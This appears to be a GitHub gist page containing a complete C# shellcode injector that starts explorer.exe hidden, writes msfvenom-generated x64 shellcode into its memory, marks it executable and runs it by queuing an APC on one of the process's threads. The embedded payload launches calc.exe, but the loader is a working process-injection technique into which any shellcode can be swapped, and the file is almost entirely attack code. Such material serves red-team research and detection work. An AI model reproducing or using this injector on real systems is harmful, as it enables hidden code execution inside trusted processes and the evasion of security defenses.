-
-
Save dtrizna/834c42af9c8b01d19f93aaaaab09d0eb to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System; | |
using System.Reflection; | |
using Microsoft.CSharp; | |
using System.Diagnostics; | |
using System.Collections.Generic; | |
using System.Runtime.InteropServices; | |
public class Program | |
{ | |
static void Main(string[] args) | |
{ | |
// msfvenom -p windows/x64/exec CMD=calc.exe -f csharp | |
byte[] sc = new byte[276] { | |
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52, | |
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48, | |
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9, | |
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41, | |
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48, | |
0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01, | |
0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48, | |
0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0, | |
0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c, | |
0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0, | |
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04, | |
0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59, | |
0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48, | |
0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00, | |
0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f, | |
0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff, | |
0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb, | |
0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c, | |
0x63,0x2e,0x65,0x78,0x65,0x00 }; | |
string processpath = @"C:\Windows\explorer.exe"; | |
STARTUPINFO si = new STARTUPINFO(); | |
PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); | |
bool success = CreateProcess(processpath, null, | |
IntPtr.Zero, IntPtr.Zero, false, | |
ProcessCreationFlags.CREATE_NO_WINDOW, | |
IntPtr.Zero, null, ref si, out pi); | |
IntPtr resultPtr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, sc.Length, MEM_COMMIT, PAGE_READWRITE); | |
IntPtr bytesWritten = IntPtr.Zero; | |
bool resultBool = WriteProcessMemory(pi.hProcess, resultPtr, sc, sc.Length, out bytesWritten); | |
Process targetProc = Process.GetProcessById((int)pi.dwProcessId); | |
//Console.WriteLine(targetProc.Threads[1].Id); | |
IntPtr sht = OpenThread(ThreadAccess.SET_CONTEXT, false, targetProc.Threads[1].Id); | |
uint oldProtect = 0; | |
resultBool = VirtualProtectEx(pi.hProcess, resultPtr, sc.Length, PAGE_EXECUTE_READ, out oldProtect); | |
IntPtr ptr = QueueUserAPC(resultPtr, sht, IntPtr.Zero); | |
Process currentProcess = Process.GetCurrentProcess(); | |
string pid = currentProcess.Id.ToString(); | |
//Console.WriteLine("PID is {0}", pid); | |
//Console.WriteLine("Goodbye"); | |
} | |
private static UInt32 MEM_COMMIT = 0x1000; | |
private static UInt32 PAGE_READWRITE = 0x04; | |
private static UInt32 PAGE_EXECUTE_READ = 0x20; | |
[Flags] | |
public enum ProcessAccessFlags : uint | |
{ | |
All = 0x001F0FFF, | |
Terminate = 0x00000001, | |
CreateThread = 0x00000002, | |
VirtualMemoryOperation = 0x00000008, | |
VirtualMemoryRead = 0x00000010, | |
VirtualMemoryWrite = 0x00000020, | |
DuplicateHandle = 0x00000040, | |
CreateProcess = 0x000000080, | |
SetQuota = 0x00000100, | |
SetInformation = 0x00000200, | |
QueryInformation = 0x00000400, | |
QueryLimitedInformation = 0x00001000, | |
Synchronize = 0x00100000 | |
} | |
[Flags] | |
public enum ProcessCreationFlags : uint | |
{ | |
ZERO_FLAG = 0x00000000, | |
CREATE_BREAKAWAY_FROM_JOB = 0x01000000, | |
CREATE_DEFAULT_ERROR_MODE = 0x04000000, | |
CREATE_NEW_CONSOLE = 0x00000010, | |
CREATE_NEW_PROCESS_GROUP = 0x00000200, | |
CREATE_NO_WINDOW = 0x08000000, | |
CREATE_PROTECTED_PROCESS = 0x00040000, | |
CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000, | |
CREATE_SEPARATE_WOW_VDM = 0x00001000, | |
CREATE_SHARED_WOW_VDM = 0x00001000, | |
CREATE_SUSPENDED = 0x00000004, | |
CREATE_UNICODE_ENVIRONMENT = 0x00000400, | |
DEBUG_ONLY_THIS_PROCESS = 0x00000002, | |
DEBUG_PROCESS = 0x00000001, | |
DETACHED_PROCESS = 0x00000008, | |
EXTENDED_STARTUPINFO_PRESENT = 0x00080000, | |
INHERIT_PARENT_AFFINITY = 0x00010000 | |
} | |
public struct PROCESS_INFORMATION | |
{ | |
public IntPtr hProcess; | |
public IntPtr hThread; | |
public uint dwProcessId; | |
public uint dwThreadId; | |
} | |
public struct STARTUPINFO | |
{ | |
public uint cb; | |
public string lpReserved; | |
public string lpDesktop; | |
public string lpTitle; | |
public uint dwX; | |
public uint dwY; | |
public uint dwXSize; | |
public uint dwYSize; | |
public uint dwXCountChars; | |
public uint dwYCountChars; | |
public uint dwFillAttribute; | |
public uint dwFlags; | |
public short wShowWindow; | |
public short cbReserved2; | |
public IntPtr lpReserved2; | |
public IntPtr hStdInput; | |
public IntPtr hStdOutput; | |
public IntPtr hStdError; | |
} | |
[Flags] | |
public enum ThreadAccess : int | |
{ | |
TERMINATE = (0x0001), | |
SUSPEND_RESUME = (0x0002), | |
GET_CONTEXT = (0x0008), | |
SET_CONTEXT = (0x0010), | |
SET_INFORMATION = (0x0020), | |
QUERY_INFORMATION = (0x0040), | |
SET_THREAD_TOKEN = (0x0080), | |
IMPERSONATE = (0x0100), | |
DIRECT_IMPERSONATION = (0x0200) | |
} | |
[DllImport("kernel32.dll", SetLastError = true)] | |
public static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, | |
int dwThreadId); | |
[DllImport("kernel32.dll", SetLastError = true)] | |
public static extern bool WriteProcessMemory( | |
IntPtr hProcess, | |
IntPtr lpBaseAddress, | |
byte[] lpBuffer, | |
int nSize, | |
out IntPtr lpNumberOfBytesWritten); | |
[DllImport("kernel32.dll")] | |
public static extern IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData); | |
[DllImport("kernel32")] | |
public static extern IntPtr VirtualAlloc(UInt32 lpStartAddr, | |
Int32 size, UInt32 flAllocationType, UInt32 flProtect); | |
[DllImport("kernel32.dll", SetLastError = true)] | |
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, | |
Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect); | |
[DllImport("kernel32.dll", SetLastError = true)] | |
public static extern IntPtr OpenProcess( | |
ProcessAccessFlags processAccess, | |
bool bInheritHandle, | |
int processId | |
); | |
[DllImport("kernel32.dll")] | |
public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, | |
bool bInheritHandles, ProcessCreationFlags dwCreationFlags, IntPtr lpEnvironment, | |
string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); | |
[DllImport("kernel32.dll")] | |
public static extern uint ResumeThread(IntPtr hThread); | |
[DllImport("kernel32.dll")] | |
public static extern uint SuspendThread(IntPtr hThread); | |
[DllImport("kernel32.dll")] | |
public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, | |
int dwSize, uint flNewProtect, out uint lpflOldProtect); | |
[DllImport("kernel32.dll")] | |
private static extern IntPtr GetCurrentThread(); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment